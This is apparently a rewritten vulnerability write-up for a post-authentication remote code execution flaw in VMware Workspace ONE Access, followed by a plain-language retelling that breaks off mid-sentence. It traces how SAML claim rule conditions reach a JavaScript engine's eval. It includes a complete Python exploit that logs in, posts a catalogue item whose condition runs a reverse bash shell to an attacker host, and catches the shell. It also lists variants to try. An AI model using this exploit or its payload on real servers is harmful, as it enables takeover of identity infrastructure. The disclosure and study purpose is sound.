VMware Workspace One Access
An authenticated administrator could inject a malicious JavaScript expression into a SAML claim transformation rule, which was evaluated by the server's JavaScript engine, leading to remote code execution. The attacker could execute arbitrary commands on the server.
Published on trenchant.io
In 2022, I conducted research against VMWare Workspace ONE Access and was able to find a remote code execution vulnerability triggerable by an authenticated administrator. Although authentication is required, past authentication bypass vulnerabilities have been published.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
VMware Workspace ONE Access is an identity and access management product. This research targeted its catalogue feature, which stores and validates SAML and WS-Federation identity provider configuration: SAML 1.1, SAML 2.0 and WS-Fed 1.2 resource types, each carrying an authInfo object with claim transformations and claim rules. The claim rules are conditions that the product evaluates with a JavaScript engine, and that evaluation is where the story ends up.
The vulnerability is a remote code execution flaw triggerable by an authenticated administrator. Authentication is required, but the author notes that authentication bypasses had been published for this product before, so the admin requirement is not necessarily a strong barrier.
Setup
The proof of concept needs the target hostname and admin credentials. The script logs in through the normal login flow, then posts a catalogue item. The author explicitly leaves chaining with CVE-2022-22973 as an exercise for the reader.
Finding it
The starting point was prior work on Java bean validation vulnerabilities, in particular the observation that a dangerous sink is javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate when the error message is partially controlled. The author went looking for that sink in this codebase and found com.vmware.horizon.catalog.validation.TypeInfoValidator:
public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T>
{
...
@Override
public boolean isValid(@Nonnull final T t, @Nonnull final ConstraintValidatorContext constraintValidatorContext) {
...
for (final Pair<String, List<String>> errorMessage : this.errorMessages) {
final ConstraintValidatorContext.ConstraintViolationBuilder constraintViolationBuilder = constraintValidatorContext.buildConstraintViolationWithTemplate(errorMessage.getFirst()); // 1
for (final String errorMessageArg : errorMessage.getSecond()) {
constraintViolationBuilder.addNode(errorMessageArg);
}
constraintViolationBuilder.addConstraintViolation();
}
return this.errorMessages.size() == 0;
}
...
protected void addErrorMessage(@Nonnull final String errorMessageKey, final String... errorMessageArgs) { // 2
Preconditions.checkNotNull(errorMessageKey);
this.errorMessages.add((Pair<String, List<String>>)Pair.of(errorMessageKey, Lists.newArrayList(errorMessageArgs)));
}
At [1] the validator iterates the errorMessages property, takes the first string of each pair and passes it to buildConstraintViolationWithTemplate. The next question was who calls addErrorMessage at [2], since that populates the property. A direct search for callers came up empty, but the same class contains a wrapper:
protected void validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = this.claimTransformationHelper.validateClaimTransformations(claimTransformations);
for (final ErrorMessage errorMessage : errorMessages) {
this.addErrorMessage(errorMessage.getErrorMessageKey(), errorMessage.getErrorMessageArgs()); // 3
}
}
So the error message key comes from getErrorMessageKey at [3], and the list is produced by com.vmware.horizon.catalog.utils.saml.transformation.ClaimTransformationHelper:
@Component
public class ClaimTransformationHelper
{
...
private final ScriptEngine scriptEngine;
public ClaimTransformationHelper() {
this.scriptEngine = new ScriptEngineManager().getEngineByName("JavaScript");
}
...
@Nonnull
public List<ErrorMessage> validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = new ArrayList<ErrorMessage>();
for (final ClaimTransformation claimTransformation : claimTransformations) {
final String value = claimTransformation.getValue();
final List<ClaimRule> claimRules = claimTransformation.getRules(); // 4
if (value != null && CollectionUtils.isNotEmpty(claimRules)) {
...
}
else {
...
final List<ClaimRule> rules = new ArrayList<ClaimRule>(claimRules); // 5
...
this.validateClaimRuleCondition(rules, claimTransformation.getName(), errorMessages); // 6
}
}
return errorMessages;
}
private void validateClaimRuleCondition(final List<ClaimRule> rules, final String name, final List<ErrorMessage> errorMessages) {
for (final ClaimRule claimRule : rules) {
if ("default".equals(claimRule.getCondition())) {
continue;
}
try {
Boolean.valueOf((boolean)this.scriptEngine.eval(claimRule.getCondition())); // 7
}
catch (Exception e) {
errorMessages.add(new ErrorMessage("claim.rules.condition.compilation.failed", new String[] { name, String.valueOf(claimRule.getOrder()) }));
}
}
}
At [4] the supplied transformations are walked and getRules is called. At [5] the rules are copied into an ArrayList of ClaimRule. At [6] validateClaimRuleCondition is called with those rules. At [7] the condition of each attacker-supplied ClaimRule is passed straight to scriptEngine.eval. The engine is a JavaScript engine obtained from ScriptEngineManager. Because bean validation runs over user-supplied data, the author judged it likely that this sink could be reached with influenceable data.
Reaching validateClaimRuleCondition
Searching for calls to validateClaimTransformations produced a few results:

The second result is com.vmware.horizon.catalog.validation.SamlTypeInfoValidator, which exposes a validate method:
public abstract class SamlTypeInfoValidator<A extends Annotation, S extends SamlAuthInfo> extends TypeInfoValidator<A, S>
{
protected void validate(@Nonnull final SamlAuthInfo samlAuthInfo) {
...
if (samlAuthInfo.getNameIdClaimTransformation() != null) {
this.validateClaimTransformations(Arrays.asList(samlAuthInfo.getNameIdClaimTransformation()));
}
...
}
}
That method is called by the two child bean validation classes Saml11TypeInfoValidator and Saml20TypeInfoValidator from their isValid implementations:
@Component
public class Saml11TypeInfoValidator extends SamlTypeInfoValidator<ValidSaml11TypeInfo, Saml11AuthInfo>
{
@Override
protected void isValid(@Nonnull final Saml11AuthInfo saml11AuthInfo) {
Preconditions.checkNotNull(saml11AuthInfo);
super.validate(saml11AuthInfo);
}
}
The next step was to find implementations annotated with @ValidSaml11TypeInfo, @ValidSaml20TypeInfo or @ValidWSFed12TypeInfo. Three classes carry those annotations:
@ValidSaml11TypeInfo
public final class Saml11AuthInfo extends SamlAuthInfo
{
@ValidSaml20TypeInfo
public final class Saml20AuthInfo extends SamlAuthInfo
{
@ValidWSFed12TypeInfo
public final class WSFed12ResourceInfo extends WSFedResourceInfo
{
Looking for validation
Three classes can reach the sink, and each must be validated for the sink to run. A @PostConstruct at [8] in com.vmware.horizon.catalog.impl.CatalogServiceImpl registers the validators after the catalogService bean is initialised:
@Service("catalogService")
@Transactional(propagation = Propagation.REQUIRED)
public class CatalogServiceImpl implements CatalogService
{
...
@PostConstruct
public void initValidation() { // 8
this.validator.addDynamicConstraintValidation(ValidSaml11TypeInfo.class, Saml11TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidSaml20TypeInfo.class, Saml20TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWSFed12TypeInfo.class, WSFed12TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWebAppLinkTypeInfo.class, WebAppLinkTypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(AdapterInstalled.class, AdapterInstalledValidator.class);
}
The com.vmware.horizon.catalog.rest.resource.AbstractCatalogResource abstract class implements this service:
public abstract class AbstractCatalogResource extends AbstractResource
{
public static final boolean DO_NOT_USE_ABSOLUTE_URL = false;
@Autowired
protected CatalogService catalogService; // 9
At [9] the service is autowired. Child classes of AbstractCatalogResource were then the interesting candidates:

They matter because they use three types from com.vmware.horizon.catalog.rest.media:
Saml11CatalogItemSaml20CatalogItemWSFed12CatalogItem
Each exposes a JSON property mapping to its associated AuthInfo type. For example, Saml20CatalogItem:
@XmlRootElement(namespace = "http://www.vmware.com/hws/v2.0")
@XmlType(namespace = "http://www.vmware.com/hws/v2.0")
public class Saml20CatalogItem extends AbstractCatalogItem
{
public static final String MEDIA_TYPE_NAME = "application/vnd.vmware.horizon.manager.catalog.saml20+json";
@JsonProperty("authInfo")
private Saml20AuthInfo authInfo; // 10
Exposure
com.vmware.horizon.catalog.rest.resource.CatalogItemsResource exposes the sink through several methods:
@Path("/catalogitems")
@Component
@Scope("prototype")
@RolesAllowed({ "admin" }) // 11
public class CatalogItemsResource extends AbstractCatalogResource
{
private static final boolean VALIDATE = true;
...
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@TypeHint(Saml11CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml11CatalogItem(final Saml11CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml11+json", validate);
}
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@TypeHint(Saml20CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml20CatalogItem(final Saml20CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml20+json", validate);
}
At [11] the endpoint requires the admin role. The author notes that several authentication bypasses existed in this application in the past and can be chained with this vulnerability. Only two of the methods that reach the vulnerable code are shown, as proof of concept.
Exploitation
The PoC requires the target hostname and admin credentials. It logs in, starts a listener, and posts a SAML 1.1 catalogue item whose name ID claim transformation contains a rule condition that is evaluated by the JavaScript engine.
Step 1: log in and obtain a session
The login function fetches the login page, extracts the protected_state value, and posts credentials to the embedded auth broker callback:
def login(t, u , p):
r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False)
m = re.search("protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text)
assert m, "(-) cannot find protected_state!"
s = requests.Session()
s.post(f"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={
"protected_state": m.group(1),
"username": u,
"password": p
}, verify=False)
return s
The session object returned here carries the authenticated cookies used for the later requests.
Step 2: send the malicious catalogue item
The trigger_rce function builds the JSON body. The condition value is the payload that reaches scriptEngine.eval:
def trigger_rce(t, rhost, rport, s):
j = {
"catalogItemType":"Saml11",
"authInfo": {
"type":"Saml11",
"configureAs":"manual",
"nameIdClaimTransformation":{
"name":"",
"format":"",
"rules":[
{
"condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");",
"order":1337,
"action":{
"name":"prefix",
"args":[]
}
}
]
}
}
}
s.headers.update({
'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json'
})
r = s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!"
s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']})
s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
The body declares a SAML 1.1 catalogue item configured manually, with a nameIdClaimTransformation containing one rule. The rule's condition is a Java expression that calls Runtime.getRuntime().exec with a shell command that opens a reverse bash shell to the attacker's host and port. The order is 1337 and the action is a prefix with no arguments.
The first POST is used to obtain the CSRF token from the X-XSRF-TOKEN response header; the script asserts the header is present, stores it, and repeats the same POST with the token attached.
Step 3: catch the shell
The handler function binds a TCP listener on the chosen port, accepts one connection and hands the socket to a Telnet object for interaction:
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("[redacted]", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
t.interact()
Step 4: argument handling and orchestration
main parses the hostname, the connectback address (optionally with a port, defaulting to 1337) and credentials in user:pass form, logs in, starts the handler thread and calls trigger_rce:
def main():
global rhost, rport
if len(sys.argv) != 4:
print("(+) usage: %s <hostname> <connectback> <admin creds>" % sys.argv[0])
print("(+) eg: %s target.tld [redacted] admin:Admin22#" % sys.argv[0])
sys.exit(1)
assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
target = sys.argv[1]
rhost = sys.argv[2]
rport = 1337
if ":" in sys.argv[2]:
rhost = sys.argv[2].split(":")[0]
assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
rport = int(sys.argv[2].split(":")[1])
usr = sys.argv[3].split(":")[0]
pwd = sys.argv[3].split(":")[1]
s = login(target, usr, pwd)
handlerthr = Thread(target=handler, args=[rport])
handlerthr.start()
trigger_rce(target, rhost, rport, s)
if __name__ == "__main__":
main()

Manual exploitation
The same flow can be performed by hand:


Root cause
The chain is a classic bean validation injection. A user-supplied ClaimRule condition is passed to scriptEngine.eval in ClaimTransformationHelper.validateClaimRuleCondition. When evaluation throws, the helper records an error message, and TypeInfoValidator.validateClaimTransformations feeds that message into addErrorMessage. The stored message is later passed to buildConstraintViolationWithTemplate, which is the sink identified in the earlier bean validation research. The JavaScript engine is created with new ScriptEngineManager().getEngineByName("JavaScript"), and the condition string is passed to scriptEngine.eval; the PoC uses a Java expression such as java.lang.Runtime.getRuntime().exec(...).
The endpoint is guarded by the @RolesAllowed({ "admin" }) annotation on CatalogItemsResource, so an attacker who already holds admin rights, or who can obtain them through an authentication bypass, reaches the sink. The validate query parameter defaults to true.
The stack trace shows the path:
ClaimTransformationHelper.validateClaimRuleCondition(List<ClaimRule>, String, List<ErrorMessage>) line: 127
ClaimTransformationHelper.validateClaimTransformations(List<ClaimTransformation>) line: 114
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).validateClaimTransformations(List<ClaimTransformation>) line: 171
Saml20TypeInfoValidator(SamlTypeInfoValidator<A,S>).validate(SamlAuthInfo) line: 34
Saml20TypeInfoValidator.isValid(Saml20AuthInfo) line: 36
Saml20TypeInfoValidator.isValid(Object) line: 18
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).isValid(T, ConstraintValidatorContext) line: 75
ConstraintTree<A>.validateSingleConstraint(ValidationContext<T>, ValueContext<?,?>, ConstraintValidatorContextImpl, ConstraintValidator<A,V>) line: 447
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,V>, Set<ConstraintViolation<T>>) line: 128
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,?>) line: 88
MetaConstraint<A>.validateConstraint(ValidationContext<?>, ValueContext<?,?>) line: 73
ValidatorImpl.validateMetaConstraint(ValidationContext<?>, ValueContext<?,Object>, MetaConstraint<?>) line: 617
ValidatorImpl.validateConstraint(ValidationContext<?>, ValueContext<?,Object>, boolean, MetaConstraint<?>) line: 582
ValidatorImpl.validateConstraintsForSingleDefaultGroupElement(ValidationContext<?>, ValueContext<U,Object>, Map<Class<?>,Class<?>>, Class<? super U>, Set<MetaConstraint<?>>, Group) line: 528
ValidatorImpl.validateConstraintsForDefaultGroup(ValidationContext<?>, ValueContext<U,Object>) line: 496
ValidatorImpl.validateConstraintsForCurrentGroup(ValidationContext<?>, ValueContext<?,Object>) line: 461
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 411
ValidatorImpl.validateCascadedConstraint(ValidationContext<?>, ValueContext<?,Object>, Iterator<?>, boolean, ValidationOrder, Set<MetaConstraint<?>>) line: 757
ValidatorImpl.validateCascadedConstraints(ValidationContext<?>, ValueContext<?,Object>) line: 681
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 420
ValidatorImpl.validate(T, Class<?>...) line: 208
HorizonValidator.validate(T, Class<?>...) line: 67
CatalogServiceImpl.putResource(int, Resource) line: 382
CatalogServiceImpl.createResource(int, Resource) line: 325
GeneratedMethodAccessor1783.invoke(Object, Object[]) line: not available
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 498
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) line: 344
ReflectiveMethodInvocation.invokeJoinpoint() line: 198
ReflectiveMethodInvocation.proceed() line: 163
2024690047.proceedWithInvocation() line: not available [local variables unavailable]
TransactionInterceptor(TransactionAspectSupport).invokeWithinTransaction(Method, Class<?>, InvocationCallback) line: 367
TransactionInterceptor.invoke(MethodInvocation) line: 118
ReflectiveMethodInvocation.proceed() line: 186
ExposeInvocationInterceptor.invoke(MethodInvocation) line: 95
ReflectiveMethodInvocation.proceed() line: 186
JdkDynamicAopProxy.invoke(Object, Method, Object[]) line: 212
$Proxy1217.createResource(int, Resource) line: not available
CatalogItemsResource.createCatalogItem(int, Resource) line: 496
CatalogItemsResource.createCatalogItem(AbstractCatalogItem, String, boolean) line: 462
CatalogItemsResource.createSaml20CatalogItem(Saml20CatalogItem, boolean) line: 142
Impact
An authenticated administrator can execute arbitrary code on the Workspace ONE Access server. Because the endpoint is only protected by the admin role, the practical severity depends on how the attacker obtains that role: the author notes that published authentication bypasses, such as CVE-2022-22973, can be chained with this flaw to reach unauthenticated remote code execution. VMware's stated position is that it tries hard not to allow any post-authentication RCE, particularly because flaws of this class have been exploited in the wild.
Fix
The report does not describe the patch. The vendor advisory linked from the write-up is the place to check what was changed.
Variants to test
- Try the SAML 2.0 and WS-Fed 1.2 catalogue item endpoints with the same
nameIdClaimTransformationstructure. A positive result is a reverse shell or any observable command execution from theconditionvalue. - Try other
AuthInfotypes that carry claim transformations, such as the WS-Fed resource info, and check whether their validators reachvalidateClaimTransformationsin the same way. - Try setting the
validatequery parameter tofalseand then totrueon the same request, to see whether validation is skipped or deferred to a later code path. - Try other bean validation sinks in the same product that call
buildConstraintViolationWithTemplatewith a message derived from user input, and check whether the message can be made to contain an expression that the JavaScript engine evaluates. - Try the same rule condition with a harmless expression first, such as a string concatenation, to confirm evaluation happens before attempting command execution.
What happened, in plain words
VMware Workspace ONE Access is a product that companies use to manage who can log in to which applications. Think of it as a digital receptionist: it checks your badge, decides which doors open for you, and keeps a list of the applications you are allowed to use. Part of that product is a "catalogue" feature, where an administrator describes external identity providers (systems that vouch for users, such as a company login server) so that Workspace ONE Access knows how to talk to them. Those descriptions use standard formats called SAML 1.1, SAML 2.0 and WS-Fed 1.2, and each one carries a block of settings called authInfo that includes "claim transformations" and "claim rules". A claim rule is a small condition that the product evaluates with a built-in JavaScript engine, and that evaluation is where this story ends.
The researcher found a remote code execution (RCE) flaw: a way to make the server run commands of the attacker's choosing. It can be triggered by an authenticated administrator. That sounds like a high bar, but the author points out that authentication bypasses had been published for this product before, so the admin requirement is not necessarily a strong barrier. The author reasons that a new RCE vulnerability could be combined with Kai Zhao and Steven Yu's authentication bypass to achieve unauthenticated remote code execution.
The write-up walks through how the flaw was found by reading the product's Java source code, then shows a Python script that logs in, sends a crafted catalogue item, and catches a shell. It ends with a stack trace that confirms the path through the code.
Background: the product and the feature
Workspace ONE Access is an identity and access management product. In plain terms, it is the system that answers the question "who are you, and what are you allowed to do?" for a company's applications. The catalogue feature stores and validates configuration for identity providers: SAML 1.1, SAML 2.0 and WS-Fed 1.2 resource types. Each of those carries an authInfo object with claim transformations and claim rules. The claim rules are conditions that the product evaluates with a JavaScript engine, and that evaluation is where the story ends up.
A few terms before we go further:
- SAML and WS-Fed are standard languages that two computer systems use to exchange statements about a user, such as "this person logged in successfully and here is their name". They are like a stamped letter one system hands to another.
- Claim is a single statement about a user, such as their email address or group membership. A claim transformation is a rule that rewrites or reshapes those statements before they are passed on.
- JavaScript engine is a piece of software that can read and run JavaScript code. Java programs can embed one to evaluate small expressions without writing a full program.
- Remote code execution (RCE) means an attacker can make the server run commands of their choosing. It is one of the most serious kinds of vulnerability because the attacker is no longer limited to what the application was designed to do.
Motivation: why look here at all
The author had previously built a 0-click exploit called Hekate, which chains an authentication bypass with other vulnerabilities. A 0-click exploit is one that needs no interaction from the victim at all. After that, the author saw that Kai Zhao of ToTU Security Team and Steven Yu reported CVE-2022-22973, another authentication bypass without chaining any remote code execution. Later, Petrus Viet bypassed the patch for CVE-2022-22973 (patched as CVE-2022-31659) and chained it with another remote code execution vulnerability he found (CVE-2022-31659).
The reasoning is simple: a new RCE vulnerability could be combined with Kai Zhao and Steven Yu's authentication bypass to achieve unauthenticated remote code execution. VMware tries very hard not to allow any post-authentication RCE vulnerabilities, especially because these flaws have been exploited in the wild. "In the wild" means real attackers have used them against real victims, not just in a lab.
Finding the flaw: reading the code
The author was up late one night reading about Java bean validation related vulnerabilities. Java bean validation is a standard way for Java programs to check that data coming in is well formed: for example, that a name is not empty or that a number is in range. The check is done by small classes called validators, and when a check fails, the validator produces an error message. The earlier research pointed out that a dangerous sink is javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate when the error message is partially controlled by the user. A sink is the place in the code where data finally does something risky, such as being executed or written somewhere it should not be. If user input reaches a sink, the sink is where the damage happens.
So the author went looking for that sink in this codebase and found com.vmware.horizon.catalog.validation.TypeInfoValidator:
public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T>
{
...
@Override
public boolean isValid(@Nonnull final T t, @Nonnull final ConstraintValidatorContext constraintValidatorContext) {
...
for (final Pair<String, List<String>> errorMessage : this.errorMessages) {
final ConstraintValidatorContext.ConstraintViolationBuilder constraintViolationBuilder = constraintValidatorContext.buildConstraintViolationWithTemplate(errorMessage.getFirst()); // 1
for (final String errorMessageArg : errorMessage.getSecond()) {
constraintViolationBuilder.addNode(errorMessageArg);
}
constraintViolationBuilder.addConstraintViolation();
}
return this.errorMessages.size() == 0;
}
...
protected void addErrorMessage(@Nonnull final String errorMessageKey, final String... errorMessageArgs) { // 2
Preconditions.checkNotNull(errorMessageKey);
this.errorMessages.add((Pair<String, List<String>>)Pair.of(errorMessageKey, Lists.newArrayList(errorMessageArgs)));
}
Line by line:
public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T>declares a reusable validator class. The angle brackets are Java's way of saying "this class works with some annotation type A and some data type T", so the same code can validate different kinds of objects.public boolean isValid(...)is the method the validation framework calls to ask "is this object valid?". It receives the objecttand a context object that is used to build error messages.- The
forloop walks throughthis.errorMessages, a collection of pairs. Each pair holds a message key (a string) and a list of arguments. - At [1],
buildConstraintViolationWithTemplate(errorMessage.getFirst())takes the first element of the pair, the message key, and passes it to the sink. If that string contains something the framework later interprets as a template, this is where the trouble starts. - The inner loop adds each argument as a node on the violation, and
addConstraintViolation()finalises it. return this.errorMessages.size() == 0;says the object is valid only if no error messages were collected.- At [2],
addErrorMessageis the method that fills theerrorMessagescollection. It checks the key is not null and stores the key and arguments as a pair.
The next question was who calls addErrorMessage at [2], since that populates the property. A direct search for callers came up empty, but the same class contains a wrapper:
protected void validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = this.claimTransformationHelper.validateClaimTransformations(claimTransformations);
for (final ErrorMessage errorMessage : errorMessages) {
this.addErrorMessage(errorMessage.getErrorMessageKey(), errorMessage.getErrorMessageArgs()); // 3
}
}
Line by line:
- The method takes a list of
ClaimTransformationobjects, which is exactly the kind of data an administrator supplies when configuring an identity provider. - It asks a helper object,
claimTransformationHelper, to validate them and returns a list ofErrorMessageobjects. - It then loops over those errors and calls
addErrorMessageat [3] with the key and arguments from each one.
So the error message key comes from getErrorMessageKey at [3], and the list is produced by com.vmware.horizon.catalog.utils.saml.transformation.ClaimTransformationHelper:
@Component
public class ClaimTransformationHelper
{
...
private final ScriptEngine scriptEngine;
public ClaimTransformationHelper() {
this.scriptEngine = new ScriptEngineManager().getEngineByName("JavaScript");
}
...
@Nonnull
public List<ErrorMessage> validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = new ArrayList<ErrorMessage>();
for (final ClaimTransformation claimTransformation : claimTransformations) {
final String value = claimTransformation.getValue();
final List<ClaimRule> claimRules = claimTransformation.getRules(); // 4
if (value != null && CollectionUtils.isNotEmpty(claimRules)) {
...
}
else {
...
final List<ClaimRule> rules = new ArrayList<ClaimRule>(claimRules); // 5
...
this.validateClaimRuleCondition(rules, claimTransformation.getName(), errorMessages); // 6
}
}
return errorMessages;
}
private void validateClaimRuleCondition(final List<ClaimRule> rules, final String name, final List<ErrorMessage> errorMessages) {
for (final ClaimRule claimRule : rules) {
if ("default".equals(claimRule.getCondition())) {
continue;
}
try {
Boolean.valueOf((boolean)this.scriptEngine.eval(claimRule.getCondition())); // 7
}
catch (Exception e) {
errorMessages.add(new ErrorMessage("claim.rules.condition.compilation.failed", new String[] { name, String.valueOf(claimRule.getOrder()) }));
}
}
}
Line by line:
@Componenttells the Java framework to create and manage an instance of this class automatically.private final ScriptEngine scriptEngine;is the field that will hold the JavaScript engine.- The constructor
new ScriptEngineManager().getEngineByName("JavaScript")asks Java for a JavaScript engine and stores it. This is the same idea as a browser having a JavaScript engine, except here it is embedded in a server-side Java program. validateClaimTransformationsstarts with an empty list of errors and loops over each supplied transformation.- At [4], it reads the transformation's
valueand callsgetRules()to get its list ofClaimRuleobjects. These come straight from the data the caller sent. - If
valueis not null and the rules list is not empty, the first branch runs (the body is elided in the excerpt). Otherwise, theelsebranch runs. - At [5], the rules are copied into a new
ArrayListofClaimRule. - At [6],
validateClaimRuleConditionis called with those rules, the transformation's name, and the error list. - Inside
validateClaimRuleCondition, each rule is examined. If its condition is the literal string"default", it is skipped. - At [7], the condition string is passed straight to
scriptEngine.eval. This is the sink: whatever text the caller put inconditionis evaluated as JavaScript by the engine. - If evaluation throws an exception, an error message with the key
claim.rules.condition.compilation.failedis added, carrying the transformation name and the rule order.
Because bean validation runs over user-supplied data, the author judged it likely that this sink could be reached with influenceable data. In other words: the validation code is designed to look at what the user sent, and the user's data ends up in eval.
Reaching validateClaimRuleCondition
Searching for calls to validateClaimTransformations produced a few results:

The second result is com.vmware.horizon.catalog.validation.SamlTypeInfoValidator, which exposes a validate method:
public abstract class SamlTypeInfoValidator<A extends Annotation, S extends SamlAuthInfo> extends TypeInfoValidator<A, S>
{
protected void validate(@Nonnull final SamlAuthInfo samlAuthInfo) {
...
if (samlAuthInfo.getNameIdClaimTransformation() != null) {
this.validateClaimTransformations(Arrays.asList(samlAuthInfo.getNameIdClaimTransformation()));
}
...
}
}
Line by line:
- This class extends
TypeInfoValidator, so it inherits the error-message machinery we just saw. - Its
validatemethod takes aSamlAuthInfoobject, which is the SAML settings block from the catalogue item. - If the object has a
nameIdClaimTransformation(the transformation applied to the user's name identifier), it wraps that single transformation in a list and callsvalidateClaimTransformationson it. That is the bridge from user data to the helper.
That method is called by the two child bean validation classes Saml11TypeInfoValidator and Saml20TypeInfoValidator from their isValid implementations:
@Component
public class Saml11TypeInfoValidator extends SamlTypeInfoValidator<ValidSaml11TypeInfo, Saml11AuthInfo>
{
@Override
protected void isValid(@Nonnull final Saml11AuthInfo saml11AuthInfo) {
Preconditions.checkNotNull(saml11AuthInfo);
super.validate(saml11AuthInfo);
}
}
Line by line:
@Componentagain means the framework creates this class automatically.- It extends
SamlTypeInfoValidator, specialising it for SAML 1.1 data. isValidfirst checks the object is not null, then callssuper.validate, which is the parent method above. So a SAML 1.1 catalogue item flows into the transformation validation.
The next step was to find implementations annotated with @ValidSaml11TypeInfo, @ValidSaml20TypeInfo or @ValidWSFed12TypeInfo. An annotation in Java is a label attached to a class or method that other code can read; here it tells the validation framework which validator to use. Three classes carry those annotations:
@ValidSaml11TypeInfo
public final class Saml11AuthInfo extends SamlAuthInfo
{
@ValidSaml20TypeInfo
public final class Saml20AuthInfo extends SamlAuthInfo
{
@ValidWSFed12TypeInfo
public final class WSFed12ResourceInfo extends WSFedResourceInfo
{
Each snippet shows a class that represents the settings block for one identity provider format, labelled so that the matching validator runs on it.
Looking for validation
Three classes can reach the sink, and each must be validated for the sink to run. A @PostConstruct at [8] in com.vmware.horizon.catalog.impl.CatalogServiceImpl registers the validators after the catalogService bean is initialised. @PostConstruct means "run this method once, right after the object has been created and set up".
@Service("catalogService")
@Transactional(propagation = Propagation.REQUIRED)
public class CatalogServiceImpl implements CatalogService
{
...
@PostConstruct
public void initValidation() { // 8
this.validator.addDynamicConstraintValidation(ValidSaml11TypeInfo.class, Saml11TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidSaml20TypeInfo.class, Saml20TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWSFed12TypeInfo.class, WSFed12TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWebAppLinkTypeInfo.class, WebAppLinkTypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(AdapterInstalled.class, AdapterInstalledValidator.class);
}
Line by line:
@Service("catalogService")registers this class as a service namedcatalogServicein the framework.@Transactional(...)says its methods run inside database transactions.initValidationis marked@PostConstruct, so it runs once at startup.- Each
addDynamicConstraintValidationline pairs an annotation (such asValidSaml11TypeInfo) with the validator class that should run when that annotation is present. So when aSaml11AuthInfoobject is validated,Saml11TypeInfoValidatorruns, and so on for SAML 2.0 and WS-Fed 1.2.
The com.vmware.horizon.catalog.rest.resource.AbstractCatalogResource abstract class implements this service:
public abstract class AbstractCatalogResource extends AbstractResource
{
public static final boolean DO_NOT_USE_ABSOLUTE_URL = false;
@Autowired
protected CatalogService catalogService; // 9
Line by line:
- This is a base class for web resources (the classes that handle HTTP requests) related to the catalogue.
@Autowiredtells the framework to inject thecatalogServiceobject automatically at [9], so any subclass can use it without creating it by hand.
Child classes of AbstractCatalogResource were then the interesting candidates:

They matter because they use three types from com.vmware.horizon.catalog.rest.media:
Saml11CatalogItemSaml20CatalogItemWSFed12CatalogItem
Each exposes a JSON property mapping to its associated AuthInfo type. JSON is a text format for structured data, the same shape you see when a web page fetches data from a server. For example, Saml20CatalogItem:
@XmlRootElement(namespace = "http://www.vmware.com/hws/v2.0")
@XmlType(namespace = "http://www.vmware.com/hws/v2.0")
public class Saml20CatalogItem extends AbstractCatalogItem
{
public static final String MEDIA_TYPE_NAME = "application/vnd.vmware.horizon.manager.catalog.saml20+json";
@JsonProperty("authInfo")
private Saml20AuthInfo authInfo; // 10
Line by line:
- The
